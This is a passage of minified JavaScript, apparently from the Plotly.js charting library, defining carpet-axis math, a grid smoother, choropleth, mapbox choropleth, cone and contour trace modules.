x=0,I=0,k=[],B,_,F,O;E<r[0]?(B=0,_=0,x=(E-r[0])/(r[1]-r[0])):E>r[a-1]?(B=a-2,_=1,x=(E-r[a-1])/(r[a-1]-r[a-2])):(B=Math.max(0,Math.min(a-2,Math.floor(m))),_=m-B),p<f[0]?(F=0,O=0,I=(p-f[0])/(f[1]-f[0])):p>f[l-1]?(F=l-2,O=1,I=(p-f[l-1])/(f[l-1]-f[l-2])):(F=Math.max(0,Math.min(l-2,Math.floor(n))),O=n-F),x&&(t.dxydi(k,B,F,_,O),C[0]+=k[0]*x,C[1]+=k[1]*x),I&&(t.dxydj(k,B,F,_,O),C[0]+=k[0]*I,C[1]+=k[1]*I)}return C},t.c2p=function(E,p,A){return[p.c2p(E[0]),A.c2p(E[1])]},t.p2x=function(E,p,A){return[p.p2c(E[0]),A.p2c(E[1])]},t.dadi=function(E){var p=Math.max(0,Math.min(r.length-2,E));return r[p+1]-r[p]},t.dbdj=function(E){var p=Math.max(0,Math.min(f.length-2,E));return f[p+1]-f[p]},t.dxyda=function(E,p,A,m){var n=t.dxydi(null,E,p,A,m),C=t.dadi(E,A);return[n[0]/C,n[1]/C]},t.dxydb=function(E,p,A,m){var n=t.dxydj(null,E,p,A,m),C=t.dbdj(p,m);return[n[0]/C,n[1]/C]},t.dxyda_rough=function(E,p,A){var m=i*(A||.1),n=t.ab2xy(E+m,p,!0),C=t.ab2xy(E-m,p,!0);return[(n[0]-C[0])*.5/m,(n[1]-C[1])*.5/m]},t.dxydb_rough=function(E,p,A){var m=v*(A||.1),n=t.ab2xy(E,p+m,!0),C=t.ab2xy(E,p-m,!0);return[(n[0]-C[0])*.5/m,(n[1]-C[1])*.5/m]},t.dpdx=function(E){return E._m},t.dpdy=function(E){return E._m}}},72505:function(te,Z,e){var M=e(71828);te.exports=function(o,L,S){var d,g,t,r=[],f=[],a=o[0].length,l=o.length;function u(J,q){var ne=0,fe,X=0;return J>0&&(fe=o[q][J-1])!==void 0&&(X++,ne+=fe),J<a-1&&(fe=o[q][J+1])!==void 0&&(X++,ne+=fe),q>0&&(fe=o[q-1][J])!==void 0&&(X++,ne+=fe),q<l-1&&(fe=o[q+1][J])!==void 0&&(X++,ne+=fe),ne/Math.max(1,X)}var s=0;for(d=0;d<a;d++)for(g=0;g<l;g++)o[g][d]===void 0&&(r.push(d),f.push(g),o[g][d]=u(d,g)),s=Math.max(s,Math.abs(o[g][d]));if(!r.length)return o;var y,c,b,h,i,v,T,w,E,p,A,m=1e-5,n=0,C=100,x=0,I=r.length;do{for(n=0,t=0;t<I;t++){d=r[t],g=f[t];var k=0,B=0,_,F,O,z,N,G;d===0?(N=Math.min(a-1,2),O=L[N],z=L[1],_=o[g][N],F=o[g][1],B+=F+(F-_)*(L[0]-z)/(z-O),k++):d===a-1&&(N=Math.max(0,a-3),O=L[N],z=L[a-2],_=o[g][N],F=o[g][a-2],B+=F+(F-_)*(L[a-1]-z)/(z-O),k++),(d===0||d===a-1)&&g>0&&g<l-1&&(y=S[g+1]-S[g],c=S[g]-S[g-1],B+=(c*o[g+1][d]+y*o[g-1][d])/(c+y),k++),g===0?(G=Math.min(l-1,2),O=S[G],z=S[1],_=o[G][d],F=o[1][d],B+=F+(F-_)*(S[0]-z)/(z-O),k++):g===l-1&&(G=Math.max(0,l-3),O=S[G],z=S[l-2],_=o[G][d],F=o[l-2][d],B+=F+(F-_)*(S[l-1]-z)/(z-O),k++),(g===0||g===l-1)&&d>0&&d<a-1&&(y=L[d+1]-L[d],c=L[d]-L[d-1],B+=(c*o[g][d+1]+y*o[g][d-1])/(c+y),k++),k?B/=k:(b=L[d+1]-L[d],h=L[d]-L[d-1],i=S[g+1]-S[g],v=S[g]-S[g-1],T=b*h*(b+h),w=i*v*(i+v),B=(T*(v*o[g+1][d]+i*o[g-1][d])+w*(h*o[g][d+1]+b*o[g][d-1]))/(w*(h+b)+T*(v+i))),E=B-o[g][d],p=E/s,n+=p*p,A=k?0:.85,o[g][d]+=E*(1+A)}n=Math.sqrt(n)}while(x++<C&&n>m);return M.log("Smoother converged to",n,"after",x,"iterations"),o}},19237:function(te,Z,e){var M=e(71828).isArray1D;te.exports=function(o,L,S){var d=S("x"),g=d&&d.length,t=S("y"),r=t&&t.length;if(!g&&!r)return!1;if(L._cheater=!d,(!g||M(d))&&(!r||M(t))){var f=g?d.length:1/0;r&&(f=Math.min(f,t.length)),L.a&&L.a.length&&(f=Math.min(f,L.a.length)),L.b&&L.b.length&&(f=Math.min(f,L.b.length)),L._length=f}else L._length=null;return!0}},69568:function(te,Z,e){var M=e(5386).fF,P=e(19316),o=e(50693),L=e(9012),S=e(22399).defaultLine,d=e(1426).extendFlat,g=P.marker.line;te.exports=d({locations:{valType:"data_array",editType:"calc"},locationmode:P.locationmode,z:{valType:"data_array",editType:"calc"},geojson:d({},P.geojson,{}),featureidkey:P.featureidkey,text:d({},P.text,{}),hovertext:d({},P.hovertext,{}),marker:{line:{color:d({},g.color,{dflt:S}),width:d({},g.width,{dflt:1}),editType:"calc"},opacity:{valType:"number",arrayOk:!0,min:0,max:1,dflt:1,editType:"style"},editType:"calc"},selected:{marker:{opacity:P.selected.marker.opacity,editType:"plot"},editType:"plot"},unselected:{marker:{opacity:P.unselected.marker.opacity,editType:"plot"},editType:"plot"},hoverinfo:d({},L.hoverinfo,{editType:"calc",flags:["location","z","text","name"]}),hovertemplate:M(),showlegend:d({},L.showlegend,{dflt:!1})},o("",{cLetter:"z",editTypeOverride:"calc"}))},38675:function(te,Z,e){var M=e(92770),P=e(50606).BADNUM,o=e(78803),L=e(75225),S=e(66279);function d(g){return g&&typeof g=="string"}te.exports=function(t,r){var f=r._length,a=new Array(f),l;r.geojson?l=function(b){return d(b)||M(b)}:l=d;for(var u=0;u<f;u++){var s=a[u]={},y=r.locations[u],c=r.z[u];l(y)&&M(c)?(s.loc=y,s.z=c):(s.loc=null,s.z=P),s.index=u}return L(a,r),o(t,r,{vals:r.z,containerStr:"",cLetter:"z"}),S(a,r),a}},61869:function(te,Z,e){var M=e(71828),P=e(1586),o=e(69568);te.exports=function(S,d,g,t){function r(c,b){return M.coerce(S,d,o,c,b)}var f=r("locations"),a=r("z");if(!(f&&f.length&&M.isArrayOrTypedArray(a)&&a.length)){d.visible=!1;return}d._length=Math.min(f.length,a.length);var l=r("geojson"),u;(typeof l=="string"&&l!==""||M.isPlainObject(l))&&(u="geojson-id");var s=r("locationmode",u);s==="geojson-id"&&r("featureidkey"),r("text"),r("hovertext"),r("hovertemplate");var y=r("marker.line.width");y&&r("marker.line.color"),r("marker.opacity"),P(S,d,t,r,{prefix:"",cLetter:"z"}),M.coerceSelectionMarkerOpacity(d,r)}},92069:function(te){te.exports=function(e,M,P,o,L){e.location=M.location,e.z=M.z;var S=o[L];return S.fIn&&S.fIn.properties&&(e.properties=S.fIn.properties),e.ct=S.ct,e}},42300:function(te,Z,e){var M=e(89298),P=e(69568),o=e(71828).fillText;te.exports=function(d,g,t){var r=d.cd,f=r[0].trace,a=d.subplot,l,u,s,y,c=[g,t],b=[g+360,t];for(u=0;u<r.length;u++)if(l=r[u],y=!1,l._polygons){for(s=0;s<l._polygons.length;s++)l._polygons[s].contains(c)&&(y=!y),l._polygons[s].contains(b)&&(y=!y);if(y)break}if(!(!y||!l))return d.x0=d.x1=d.xa.c2p(l.ct),d.y0=d.y1=d.ya.c2p(l.ct),d.index=l.index,d.location=l.loc,d.z=l.z,d.zLabel=M.tickText(a.mockAxis,a.mockAxis.c2l(l.z),"hover").text,d.hovertemplate=l.hovertemplate,L(d,f,l),[d]};function L(S,d,g){if(!d.hovertemplate){var t=g.hi||d.hoverinfo,r=String(g.loc),f=t==="all"?P.hoverinfo.flags:t.split("+"),a=f.indexOf("name")!==-1,l=f.indexOf("location")!==-1,u=f.indexOf("z")!==-1,s=f.indexOf("text")!==-1,y=!a&&l,c=[];y?S.nameOverride=r:(a&&(S.nameOverride=d.name),l&&c.push(r)),u&&c.push(S.zLabel),s&&o(g,d,c),S.extraText=c.join("<br>")}}},51319:function(te,Z,e){te.exports={attributes:e(69568),supplyDefaults:e(61869),colorbar:e(61243),calc:e(38675),calcGeoJSON:e(99841).calcGeoJSON,plot:e(99841).plot,style:e(99636).style,styleOnSelect:e(99636).styleOnSelect,hoverPoints:e(42300),eventData:e(92069),selectPoints:e(81253),moduleType:"trace",name:"choropleth",basePlotModule:e(44622),categories:["geo","noOpacity","showLegend"],meta:{}}},99841:function(te,Z,e){var M=e(39898),P=e(71828),o=e(41327),L=e(90973).getTopojsonFeatures,S=e(71739).findExtremes,d=e(99636).style;function g(r,f,a){var l=f.layers.backplot.select(".choroplethlayer");P.makeTraceGroups(l,a,"trace choropleth").each(function(u){var s=M.select(this),y=s.selectAll("path.choroplethlocation").data(P.identity);y.enter().append("path").classed("choroplethlocation",!0),y.exit().remove(),d(r,u)})}function t(r,f){for(var a=r[0].trace,l=f[a.geo],u=l._subplot,s=a.locationmode,y=a._length,c=s==="geojson-id"?o.extractTraceFeature(r):L(a,u.topojson),b=[],h=[],i=0;i<y;i++){var v=r[i],T=s==="geojson-id"?v.fOut:o.locationToFeature(s,v.loc,c);if(T){v.geojson=T,v.ct=T.properties.ct,v._polygons=o.feature2polygons(T);var w=o.computeBbox(T);b.push(w[0],w[2]),h.push(w[1],w[3])}else v.geojson=null}if(l.fitbounds==="geojson"&&s==="geojson-id"){var E=o.computeBbox(o.getTraceGeojson(a));b=[E[0],E[2]],h=[E[1],E[3]]}var p={padded:!0};a._extremes.lon=S(l.lonaxis._ax,b,p),a._extremes.lat=S(l.lataxis._ax,h,p)}te.exports={calcGeoJSON:t,plot:g}},81253:function(te){te.exports=function(e,M){var P=e.cd,o=e.xaxis,L=e.yaxis,S=[],d,g,t,r,f;if(M===!1)for(d=0;d<P.length;d++)P[d].selected=0;else for(d=0;d<P.length;d++)g=P[d],t=g.ct,t&&(r=o.c2p(t),f=L.c2p(t),M.contains([r,f],null,d,e)?(S.push({pointNumber:d,lon:t[0],lat:t[1]}),g.selected=1):g.selected=0);return S}},99636:function(te,Z,e){var M=e(39898),P=e(7901),o=e(91424),L=e(21081);function S(t,r){r&&d(t,r)}function d(t,r){var f=r[0].trace,a=r[0].node3,l=a.selectAll(".choroplethlocation"),u=f.marker||{},s=u.line||{},y=L.makeColorScaleFuncFromTrace(f);l.each(function(c){M.select(this).attr("fill",y(c.z)).call(P.stroke,c.mlc||s.color).call(o.dashLine,"",c.mlw||s.width||0).style("opacity",u.opacity)}),o.selectedPointStyle(l,f)}function g(t,r){var f=r[0].node3,a=r[0].trace;a.selectedpoints?o.selectedPointStyle(f.selectAll(".choroplethlocation"),a):d(t,r)}te.exports={style:S,styleOnSelect:g}},64496:function(te,Z,e){var M=e(69568),P=e(50693),o=e(5386).fF,L=e(9012),S=e(1426).extendFlat;te.exports=S({locations:{valType:"data_array",editType:"calc"},z:{valType:"data_array",editType:"calc"},geojson:{valType:"any",editType:"calc"},featureidkey:S({},M.featureidkey,{}),below:{valType:"string",editType:"plot"},text:M.text,hovertext:M.hovertext,marker:{line:{color:S({},M.marker.line.color,{editType:"plot"}),width:S({},M.marker.line.width,{editType:"plot"}),editType:"calc"},opacity:S({},M.marker.opacity,{editType:"plot"}),editType:"calc"},selected:{marker:{opacity:S({},M.selected.marker.opacity,{editType:"plot"}),editType:"plot"},editType:"plot"},unselected:{marker:{opacity:S({},M.unselected.marker.opacity,{editType:"plot"}),editType:"plot"},editType:"plot"},hoverinfo:M.hoverinfo,hovertemplate:o({},{keys:["properties"]}),showlegend:S({},L.showlegend,{dflt:!1})},P("",{cLetter:"z",editTypeOverride:"calc"}))},82004:function(te,Z,e){var M=e(92770),P=e(71828),o=e(21081),L=e(91424),S=e(18214).makeBlank,d=e(41327);function g(r){var f=r[0].trace,a=f.visible===!0&&f._length!==0,l={layout:{visibility:"none"},paint:{}},u={layout:{visibility:"none"},paint:{}},s=f._opts={fill:l,line:u,geojson:S()};if(!a)return s;var y=d.extractTraceFeature(r);if(!y)return s;var c=o.makeColorScaleFuncFromTrace(f),b=f.marker,h=b.line||{},i;P.isArrayOrTypedArray(b.opacity)&&(i=function(n){var C=n.mo;return M(C)?+P.constrain(C,0,1):0});var v;P.isArrayOrTypedArray(h.color)&&(v=function(n){return n.mlc});var T;P.isArrayOrTypedArray(h.width)&&(T=function(n){return n.mlw});for(var w=0;w<r.length;w++){var E=r[w],p=E.fOut;if(p){var A=p.properties;A.fc=c(E.z),i&&(A.mo=i(E)),v&&(A.mlc=v(E)),T&&(A.mlw=T(E)),E.ct=A.ct,E._polygons=d.feature2polygons(p)}}var m=i?{type:"identity",property:"mo"}:b.opacity;return P.extendFlat(l.paint,{"fill-color":{type:"identity",property:"fc"},"fill-opacity":m}),P.extendFlat(u.paint,{"line-color":v?{type:"identity",property:"mlc"}:h.color,"line-width":T?{type:"identity",property:"mlw"}:h.width,"line-opacity":m}),l.layout.visibility="visible",u.layout.visibility="visible",s.geojson={type:"FeatureCollection",features:y},t(r),s}function t(r){var f=r[0].trace,a=f._opts,l;if(f.selectedpoints){for(var u=L.makeSelectedPointStyleFns(f),s=0;s<r.length;s++){var y=r[s];y.fOut&&(y.fOut.properties.mo2=u.selectedOpacityFn(y))}l={type:"identity",property:"mo2"}}else l=P.isArrayOrTypedArray(f.marker.opacity)?{type:"identity",property:"mo"}:f.marker.opacity;return P.extendFlat(a.fill.paint,{"fill-opacity":l}),P.extendFlat(a.line.paint,{"line-opacity":l}),a}te.exports={convert:g,convertOnSelect:t}},22654:function(te,Z,e){var M=e(71828),P=e(1586),o=e(64496);te.exports=function(S,d,g,t){function r(s,y){return M.coerce(S,d,o,s,y)}var f=r("locations"),a=r("z"),l=r("geojson");if(!M.isArrayOrTypedArray(f)||!f.length||!M.isArrayOrTypedArray(a)||!a.length||!(typeof l=="string"&&l!==""||M.isPlainObject(l))){d.visible=!1;return}r("featureidkey"),d._length=Math.min(f.length,a.length),r("below"),r("text"),r("hovertext"),r("hovertemplate");var u=r("marker.line.width");u&&r("marker.line.color"),r("marker.opacity"),P(S,d,t,r,{prefix:"",cLetter:"z"}),M.coerceSelectionMarkerOpacity(d,r)}},57516:function(te,Z,e){te.exports={attributes:e(64496),supplyDefaults:e(22654),colorbar:e(61243),calc:e(38675),plot:e(7852),hoverPoints:e(42300),eventData:e(92069),selectPoints:e(81253),styleOnSelect:function(M,P){if(P){var o=P[0].trace;o._glTrace.updateOnSelect(P)}},getBelow:function(M,P){for(var o=P.getMapLayers(),L=o.length-2;L>=0;L--){var S=o[L].id;if(typeof S=="string"&&S.indexOf("water")===0){for(var d=L+1;d<o.length;d++)if(S=o[d].id,typeof S=="string"&&S.indexOf("plotly-")===-1)return S}}},moduleType:"trace",name:"choroplethmapbox",basePlotModule:e(50101),categories:["mapbox","gl","noOpacity","showLegend"],meta:{hr_name:"choropleth_mapbox"}}},7852:function(te,Z,e){var M=e(82004).convert,P=e(82004).convertOnSelect,o=e(77734).traceLayerPrefix;function L(d,g){this.type="choroplethmapbox",this.subplot=d,this.uid=g,this.sourceId="source-"+g,this.layerList=[["fill",o+g+"-fill"],["line",o+g+"-line"]],this.below=null}var S=L.prototype;S.update=function(d){this._update(M(d)),d[0].trace._glTrace=this},S.updateOnSelect=function(d){this._update(P(d))},S._update=function(d){var g=this.subplot,t=this.layerList,r=g.belowLookup["trace-"+this.uid];g.map.getSource(this.sourceId).setData(d.geojson),r!==this.below&&(this._removeLayers(),this._addLayers(d,r),this.below=r);for(var f=0;f<t.length;f++){var a=t[f],l=a[0],u=a[1],s=d[l];g.setOptions(u,"setLayoutProperty",s.layout),s.layout.visibility==="visible"&&g.setOptions(u,"setPaintProperty",s.paint)}},S._addLayers=function(d,g){for(var t=this.subplot,r=this.layerList,f=this.sourceId,a=0;a<r.length;a++){var l=r[a],u=l[0],s=d[u];t.addLayer({type:u,id:l[1],source:f,layout:s.layout,paint:s.paint},g)}},S._removeLayers=function(){for(var d=this.subplot.map,g=this.layerList,t=g.length-1;t>=0;t--)d.removeLayer(g[t][1])},S.dispose=function(){var d=this.subplot.map;this._removeLayers(),d.removeSource(this.sourceId)},te.exports=function(g,t){var r=t[0].trace,f=new L(g,r.uid),a=f.sourceId,l=M(t),u=f.below=g.belowLookup["trace-"+r.uid];return g.map.addSource(a,{type:"geojson",data:l.geojson}),f._addLayers(l,u),t[0].trace._glTrace=f,f}},12674:function(te,Z,e){var M=e(50693),P=e(12663).axisHoverFormat,o=e(5386).fF,L=e(2418),S=e(9012),d=e(1426).extendFlat,g={x:{valType:"data_array",editType:"calc+clearAxisTypes"},y:{valType:"data_array",editType:"calc+clearAxisTypes"},z:{valType:"data_array",editType:"calc+clearAxisTypes"},u:{valType:"data_array",editType:"calc"},v:{valType:"data_array",editType:"calc"},w:{valType:"data_array",editType:"calc"},sizemode:{valType:"enumerated",values:["scaled","absolute"],editType:"calc",dflt:"scaled"},sizeref:{valType:"number",editType:"calc",min:0},anchor:{valType:"enumerated",editType:"calc",values:["tip","tail","cm","center"],dflt:"cm"},text:{valType:"string",dflt:"",arrayOk:!0,editType:"calc"},hovertext:{valType:"string",dflt:"",arrayOk:!0,editType:"calc"},hovertemplate:o({editType:"calc"},{keys:["norm"]}),uhoverformat:P("u",1),vhoverformat:P("v",1),whoverformat:P("w",1),xhoverformat:P("x"),yhoverformat:P("y"),zhoverformat:P("z"),showlegend:d({},S.showlegend,{dflt:!1})};d(g,M("",{colorAttr:"u/v/w norm",showScaleDflt:!0,editTypeOverride:"calc"}));var t=["opacity","lightposition","lighting"];t.forEach(function(r){g[r]=L[r]}),g.hoverinfo=d({},S.hoverinfo,{editType:"calc",flags:["x","y","z","u","v","w","norm","text","name"],dflt:"x+y+z+norm+text+name"}),g.transforms=void 0,te.exports=g},31371:function(te,Z,e){var M=e(78803);te.exports=function(o,L){for(var S=L.u,d=L.v,g=L.w,t=Math.min(L.x.length,L.y.length,L.z.length,S.length,d.length,g.length),r=-1/0,f=1/0,a=0;a<t;a++){var l=S[a],u=d[a],s=g[a],y=Math.sqrt(l*l+u*u+s*s);r=Math.max(r,y),f=Math.min(f,y)}L._len=t,L._normMax=r,M(o,L,{vals:[f,r],containerStr:"",cLetter:"c"})}},5453:function(te,Z,e){var M=e(9330).gl_cone3d,P=e(9330).gl_cone3d.createConeMesh,o=e(71828).simpleMap,L=e(81697).parseColorScale,S=e(21081).extractOpts,d=e(90060);function g(s,y){this.scene=s,this.uid=y,this.mesh=null,this.data=null}var t=g.prototype;t.handlePick=function(s){if(s.object===this.mesh){var y=s.index=s.data.index,c=this.data.x[y],b=this.data.y[y],h=this.data.z[y],i=this.data.u[y],v=this.data.v[y],T=this.data.w[y];s.traceCoordinate=[c,b,h,i,v,T,Math.sqrt(i*i+v*v+T*T)];var w=this.data.hovertext||this.data.text;return Array.isArray(w)&&w[y]!==void 0?s.textLabel=w[y]:w&&(s.textLabel=w),!0}};var r={xaxis:0,yaxis:1,zaxis:2},f={tip:1,tail:0,cm:.25,center:.5},a={tip:1,tail:1,cm:.75,center:.5};function l(s,y){var c=s.fullSceneLayout,b=s.dataScale,h={};function i(E,p){var A=c[p],m=b[r[p]];return o(E,function(n){return A.d2l(n)*m})}h.vectors=d(i(y.u,"xaxis"),i(y.v,"yaxis"),i(y.w,"zaxis"),y._len),h.positions=d(i(y.x,"xaxis"),i(y.y,"yaxis"),i(y.z,"zaxis"),y._len);var v=S(y);h.colormap=L(y),h.vertexIntensityBounds=[v.min/y._normMax,v.max/y._normMax],h.coneOffset=f[y.anchor],y.sizemode==="scaled"?h.coneSize=y.sizeref||.5:h.coneSize=y.sizeref&&y._normMax?y.sizeref/y._normMax:.5;var T=M(h),w=y.lightposition;return T.lightPosition=[w.x,w.y,w.z],T.ambient=y.lighting.ambient,T.diffuse=y.lighting.diffuse,T.specular=y.lighting.specular,T.roughness=y.lighting.roughness,T.fresnel=y.lighting.fresnel,T.opacity=y.opacity,y._pad=a[y.anchor]*T.vectorScale*T.coneScale*y._normMax,T}t.update=function(s){this.data=s;var y=l(this.scene,s);this.mesh.update(y)},t.dispose=function(){this.scene.glplot.remove(this.mesh),this.mesh.dispose()};function u(s,y){var c=s.glplot.gl,b=l(s,y),h=P(c,b),i=new g(s,y.uid);return i.mesh=h,i.data=y,h._trace=i,s.glplot.add(h),i}te.exports=u},91750:function(te,Z,e){var M=e(71828),P=e(1586),o=e(12674);te.exports=function(S,d,g,t){function r(c,b){return M.coerce(S,d,o,c,b)}var f=r("u"),a=r("v"),l=r("w"),u=r("x"),s=r("y"),y=r("z");if(!f||!f.length||!a||!a.length||!l||!l.length||!u||!u.length||!s||!s.length||!y||!y.length){d.visible=!1;return}r("sizeref"),r("sizemode"),r("anchor"),r("lighting.ambient"),r("lighting.diffuse"),r("lighting.specular"),r("lighting.roughness"),r("lighting.fresnel"),r("lightposition.x"),r("lightposition.y"),r("lightposition.z"),P(S,d,t,r,{prefix:"",cLetter:"c"}),r("text"),r("hovertext"),r("hovertemplate"),r("uhoverformat"),r("vhoverformat"),r("whoverformat"),r("xhoverformat"),r("yhoverformat"),r("zhoverformat"),d._length=null}},98128:function(te,Z,e){te.exports={moduleType:"trace",name:"cone",basePlotModule:e(58547),categories:["gl3d","showLegend"],attributes:e(12674),supplyDefaults:e(91750),colorbar:{min:"cmin",max:"cmax"},calc:e(31371),plot:e(5453),eventData:function(M,P){return M.norm=P.traceCoordinate[6],M},meta:{}}},70600:function(te,Z,e){var M=e(21606),P=e(82196),o=e(12663),L=o.axisHoverFormat,S=o.descriptionOnlyNumbers,d=e(50693),g=e(79952).P,t=e(41940),r=e(1426).extendFlat,f=e(74808),a=f.COMPARISON_OPS2,l=f.INTERVAL_OPS,u=P.line;te.exports=r({z:M.z,x:M.x,x0:M.x0,dx:M.dx,y:M.y,y0:M.y0,dy:M.dy,xperiod:M.xperiod,yperiod:M.yperiod,xperiod0:P.xperiod0,yperiod0:P.yperiod0,xperiodalignment:M.xperiodalignment,yperiodalignment:M.yperiodalignment,text:M.text,hovertext:M.hovertext,transpose:M.transpose,xtype:M.xtype,ytype:M.ytype,xhoverformat:L("x"),yhoverformat:L("y"),zhoverformat:L("z",1),hovertemplate:M.hovertemplate,texttemplate:r({},M.texttemplate,{}),textfont:r({},M.textfont,{}),hoverongaps:M.hoverongaps,connectgaps:r({},M.connectgaps,{}),fillcolor:{valType:"color",editType:"calc"},autocontour:{valType:"boolean",dflt:!0,editType:"calc",impliedEdits:{"contours.start":void 0,"contours.end":void 0,"contours.size":void 0}},ncontours:{valType:"integer",dflt:15,min:1,editType:"calc"},contours:{type:{valType:"enumerated",values:["levels","constraint"],dflt:"levels",editType:"calc"},start:{valType:"number",dflt:null,editType:"plot",impliedEdits:{"^autocontour":!1}},end:{valType:"number",dflt:null,editType:"plot",impliedEdits:{"^autocontour":!1}},size:{valType:"number",dflt:null,min:0,editType:"plot",impliedEdits:{"^autocontour":!1}},coloring:{valType:"enumerated",values:["fill","heatmap","lines","none"],dflt:"fill",editType:"calc"},showlines:{valType:"boolean",dflt:!0,editType:"plot"},showlabels:{valType:"boolean",dflt:!1,editType:"plot"},labelfont:t({editType:"plot",colorEditType:"style"}),labelformat:{valType:"string",dflt:"",editType:"plot",description:S("contour label")},operation:{valType:"enumerated",values:[].concat(a).concat(l),dflt:"=",editType:"calc"},value:{valType:"any",dflt:0,editType:"calc"},editType:"calc",impliedEdits:{autocontour:!1}},line:{color:r({},u.color,{editType:"style+colorbars"}),width:{valType:"number",min:0,editType:"style+colorbars"},dash:g,smoothing:r({},u.smoothing,{}),editType:"plot"}},d("",{cLetter:"z",autoColorDflt:!1,editTypeOverride:"calc"}))},27529:function(te,Z,e){var M=e(21081),P=e(90757),o=e(18670),L=e(53572);te.exports=function(d,g){var t=P(d,g),r=t[0].z;o(g,r);var f=g.contours,a=M.extractOpts(g),l;if(f.coloring==="heatmap"&&a.auto&&g.autocontour===!1){var u=f.start,s=L(f),y=f.size||1,c=Math.floor((s-u)/y)+1;isFinite(y)||(y=1,c=1);var b=u-y/2,h=b+c*y;l=[b,h]}else l=r;return M.calc(d,g,{vals:l,cLetter:"z"}),t}},20083:function(te){te.exports=function(Z,e){var M=Z[0],P=M.z,o;switch(e.type){case"levels":var L=Math.min(P[0][0],P[0][1]);for(o=0;o<Z.length;o++){var S=Z[o];S.prefixBoundary=!S.edgepaths.length&&(L>S.level||S.starts.length&&L===S.level)}break;case"constraint":if(M.prefixBoundary=!1,M.edgepaths.length)return;var d=M.x.length,g=M.y.length,t=-1/0,r=1/0;for(o=0;o<g;o++)r=Math.min(r,P[o][0]),r=Math.min(r,P[o][d-1]),t=Math.max(t,P[o][0]),t=Math.max(t,P[o][d-1]);for(o=1;o<d-1;o++)r=Math.min(r,P[0][o]),r=Math.min(r,P[g-1][o]),t=Math.max(t,P[0][o]),t=Math.max(t,P[g-1][o]);var f=e.value,a,l;switch(e._operation){case">":f>t&&(M.prefixBoundary=!0);break;case"<":(f<r||M.starts.length&&f===r)&&(M.prefixBoundary=!0);break;case"[]":a=Math.min(f[0],f[1]),l=Math.max(f[0],f[1]),(l<r||a>t||M.starts.length&&l===r)&&(M.prefixBoundary=!0);break;case"][":a=Math.min(f[0],f[1]),l=Math.max(f[0],f[1]),a<r&&l>t&&(M.prefixBoundary=!0);break}break}}},90654:function(te,Z,e){var M=e(21081),P=e(86068),o=e(53572);function L(S,d,g){var t=d.contours,r=d.line,f=t.size||1,a=t.coloring,l=P(d,{isColorbar:!0});if(a==="heatmap"){var u=M.extractOpts(d);g._fillgradient=u.reversescale?M.flipScale(u.colorscale):u.colorscale,g._zrange=[u.min,u.max]}else a==="fill"&&(g._fillcolor=l);g._line={color:a==="lines"?l:r.color,width:t.showlines!==!1?r.width:0,dash:r.dash},g._levels={start:t.start,end:o(t),size:f}}te.exports={min:"zmin",max:"zmax",calc:L}},36914:function(te){te.exports={BOTTOMSTART:[1,9,13,104,713],TOPSTART:[4,6,7,104,713],LEFTSTART:[8,12,14,208,1114],RIGHTSTART:[2,3,11,208,1114],NEWDELTA:[null,[-1,0],[0,-1],[-1,0],[1,0],null,[0,-1],[-1,0],[0,1],[0,1],null,[0,1],[1,0],[1,0],[0,-1]],CHOOSESADDLE:{104:[4,1],208:[2,8],713:[7,13],1114:[11,14]},SADDLEREMAINDER:{1:4,2:8,4:1,7:13,8:2,11:14,13:7,14:11},LABELDISTANCE:2,LABELINCREASE:10,LABELMIN:3,LABELMAX:10,LABELOPTIMIZER:{EDGECOST:1,ANGLECOST:1,NEIGHBORCOST:5,SAMELEVELFACTOR:10,SAMELEVELDISTANCE:5,MAXCOST:100,INITIALSEARCHPOINTS:10,ITERATIONS:5}}},83179:function(te,Z,e){var M=e(92770),P=e(14523),o=e(7901),L=o.addOpacity,S=o.opacity,d=e(74808),g=d.CONSTRAINT_REDUCTION,t=d.COMPARISON_OPS2;te.exports=function(a,l,u,s,y,c){var b=l.contours,h,i,v,T=u("contours.operation");if(b._operation=g[T],r(u,b),T==="="?h=b.showlines=!0:(h=u("contours.showlines"),v=u("fillcolor",L((a.line||{}).color||y,.5))),h){var w=v&&S(v)?L(l.fillcolor,1):y;i=u("line.color",w),u("line.width",2),u("line.dash")}u("line.smoothing"),P(u,s,i,c)};function r(f,a){var l;t.indexOf(a.operation)===-1?(f("contours.value",[0,1]),Array.isArray(a.value)?a.value.length>2?a.value=a.value.slice(2):a.length===0?a.value=[0,1]:a.length<2?(l=parseFloat(a.value[0]),a.value=[l,l+1]):a.value=[parseFloat(a.value[0]),parseFloat(a.value[1])]:M(a.value)&&(l=parseFloat(a.value),a.value=[l,l+1])):(f("contours.value",0),M(a.value)||(Array.isArray(a.value)?a.value=parseFloat(a.value[0]):a.value=0))}},64237:function(te,Z,e){var M=e(74808),P=e(92770);te.exports={"[]":L("[]"),"][":L("]["),">":S(">"),"<":S("<"),"=":S("=")};function o(d,g){var t=Array.isArray(g),r;function f(a){return P(a)?+a:null}return M.COMPARISON_OPS2.indexOf(d)!==-1?r=f(t?g[0]:g):M.INTERVAL_OPS.indexOf(d)!==-1?r=t?[f(g[0]),f(g[1])]:[f(g),f(g)]:M.SET_OPS.indexOf(d)!==-1&&(r=t?g.map(f):[f(g)]),r}function L(d){return function(g){g=o(d,g);var t=Math.min(g[0],g[1]),r=Math.max(g[0],g[1]);return{start:t,end:r,size:r-t}}}function S(d){return function(g){return g=o(d,g),{start:g,end:1/0,size:1/0}}}},67217:function(te){te.exports=function(e,M,P,o){var L=o("contours.start"),S=o("contours.end"),d=L===!1||S===!1,g=P("contours.size"),t;d?t=M.autocontour=!0:t=P("autocontour",!1),(t||!g)&&P("ncontours")}},84857:function(te,Z,e){var M=e(71828);te.exports=function(o,L){var S,d,g,t=function(a){return a.reverse()},r=function(a){return a};switch(L){case"=":case"<":return o;case">":for(o.length!==1&&M.warn("Contour data invalid for the specified inequality operation."),d=o[0],S=0;S<d.edgepaths.length;S++)d.edgepaths[S]=t(d.edgepaths[S]);for(S=0;S<d.paths.length;S++)d.paths[S]=t(d.paths[S]);for(S=0;S<d.starts.length;S++)d.starts[S]=t(d.starts[S]);return o;case"][":var f=t;t=r,r=f;case"[]":for(o.length!==2&&M.warn("Contour data invalid for the specified inequality range operation."),d=P(o[0]),g=P(o[1]),S=0;S<d.edgepaths.length;S++)d.edgepaths[S]=t(d.edgepaths[S]);for(S=0;S<d.paths.length;S++)d.paths[S]=t(d.paths[S]);for(S=0;S<d.starts.length;S++)d.starts[S]=t(d.starts[S]);for(;g.edgepaths.length;)d.edgepaths.push(r(g.edgepaths.shift()));for(;g.paths.length;)d.paths.push(r(g.paths.shift()));for(;g.starts.length;)d.starts.push(r(g.starts.shift()));return[d]}};function 